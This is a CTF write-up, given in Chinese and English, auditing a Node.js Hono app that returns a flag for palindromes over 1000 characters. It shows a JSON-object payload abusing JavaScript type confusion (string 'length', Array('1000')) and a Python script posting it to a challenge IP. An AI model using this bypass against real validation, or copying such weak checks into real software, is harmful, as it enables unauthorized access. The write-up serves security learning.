本文记录了一次针对 Node.js Web 应用的代码审计与逻辑绕过实战。目标程序要求输入长度大于1000的回文字符串,但 Nginx 限制了实际的超长字符输入。攻击者巧妙利用了 JavaScript 的弱类型与类型混淆机制 ,传入定制的 JSON 对象 {"length": "1000", "0": "x", "999": "x"} 替代字符串。该 Payload 不仅绕过了 length 属性的阈值校验,还利用了 Array("1000") 会生成单元素数组的语言特性 ,让严苛的全局对称循环检测仅执行一次即告通过,最终成功获取 Flag。 This article documents a practical case of code auditing and logic bypass against a Node.js web application. The target program required input of a palindrome string longer than 1000 characters, but Nginx restricted actual ultra-long character input. The attacker cleverly exploited JavaScript's weak typing and type confusion mechanism, passing a crafted JSON object {"length": "1000", "0": "x", "999": "x"} instead of a string. This payload not only bypassed the threshold check on the length property but also took advantage of the language feature where Array("1000") generates a single-element array, causing the stringent global symmetric loop check to execute only once and pass, ultimately successfully obtaining the Flag.

代码审计

import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';

const flag = readFileSync('/flag.txt', 'utf8').trim(); //返回flag.txt内容

const IsPalinDrome = (string) => {
	if (string.length < 1000) {  //输入少于1000字符
		return 'Tootus Shortus';
	}

	for (const i of Array(string.length).keys()) { // 返回包含索引的指定长度的数组
		const original = string[i];		// 获取当前索引i处的字符,赋值给original
		const reverse = string[string.length - i - 1];  // 获取对称位置的字符,即倒数第i个

		if (original !== reverse || typeof original !== 'string') {   // 检查是否对称以及类型检查。两者不满足一个就返回1,导致运行下面的代码
			return 'Notter Palindromer!!';
		}
	}

	return null;
}

const app = new Hono();  // 创建一个Hono应用实例app

app.get('/', serveStatic({root: '.'}));  // 定义get请求路由/

app.post('/', async (c) => {  // 异步函数,定义POST请求路由
	const {palindrome} = await c.req.json(); // 解析请求体中的 JSON 数据,并解构出 palindrome 字段,这里是用户输入点。
	const error = IsPalinDrome(palindrome);
	if (error) {
		c.status(400);
		return c.text(error);
	}
	return c.text(`Hii Harry!!! ${flag}`);
});

app.port = 3000;  // 启动服务

serve(app);

漏洞分析

输入一千个a返回,Nginx 报错,大小限制。

Array()处理:

  • 单数值:Array(3),创建长度为三的空数组
  • 多参数:Array(1,2,3),创建[1,2,3]
  • 非数字参数:Array(”1000”),创建[”1000”],只有一个

利用

构造payload

{
  "palindrome": {
    "length": "1000", 
    "0": "x",
    "999": "x"
  }
}

长度检查

if (string.length < 1000)

在比较字符串时强行将”1000”转换为数字

数组构造

Array(string.length) // string.length = "1000”

得到数组Array(”1000”),长度为1

迭代

for (const i of Array(string.length).keys())

仅循坏一次,i=0

对称检查

const original = string[0];"x"

const reverse = string[string.length - 0 - 1];string["1000" - 0 - 1],此时会强制转换为数字—> 1000-0-1

通过

import requests
# url
url = "http://83.136.253.144:33824/"

# create payload
payload = {
    "palindrome":{
        "length": "1000",
        "0": "x",
        "999": "x"
    }
}

response = requests.post(url,json=payload)
print(response.text)

Code Audit

import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';

const flag = readFileSync('/flag.txt', 'utf8').trim(); // Returns the content of flag.txt

const IsPalinDrome = (string) => {
	if (string.length < 1000) {  // Input less than 1000 characters
		return 'Too Short';
	}

	for (const i of Array(string.length).keys()) { // Returns an array of specified length containing indices
		const original = string[i];		// Gets the character at current index i, assigns to original
		const reverse = string[string.length - i - 1];  // Gets the character at the symmetric position, i.e., the i-th from the end

		if (original !== reverse || typeof original !== 'string') {   // Checks for symmetry and type check. If either condition fails, returns 1, causing the following code to run
			return 'Not a Palindrome!!';
		}
	}

	return null;
}

const app = new Hono();  // Creates a Hono app instance app

app.get('/', serveStatic({root: '.'}));  // Defines GET request route /

app.post('/', async (c) => {  // Async function, defines POST request route
	const {palindrome} = await c.req.json(); // Parses JSON data in request body, destructures palindrome field, which is the user input point.
	const error = IsPalinDrome(palindrome);
	if (error) {
		c.status(400);
		return c.text(error);
	}
	return c.text(`Hii Harry!!! ${flag}`);
});

app.port = 3000;  // Starts the service

serve(app);

Vulnerability Analysis

Inputting a thousand 'a's results in an Nginx error due to size restrictions.

Array() handling:

  • Single value: Array(3), creates an empty array of length three
  • Multiple parameters: Array(1,2,3), creates [1,2,3]
  • Non-numeric parameter: Array("1000"), creates ["1000"], only one element

Exploitation

Construct payload

{
  "palindrome": {
    "length": "1000", 
    "0": "x",
    "999": "x"
  }
}

Length Check

if (string.length < 1000)

Forcibly converts "1000" to a number when comparing strings

Array Construction

Array(string.length) // string.length = "1000"

Results in array Array("1000"), length is 1

Iteration

for (const i of Array(string.length).keys())

Only loops once, i=0

Symmetry Check

const original = string[0]; "x"

const reverse = string[string.length - 0 - 1]; string["1000" - 0 - 1], forcibly converts to number → 1000-0-1

Passes

import requests
# URL
url = "http://83.136.253.144:33824/"

# Create payload
payload = {
    "palindrome":{
        "length": "1000",
        "0": "x",
        "999": "x"
    }
}

response = requests.post(url,json=payload)
print(response.text)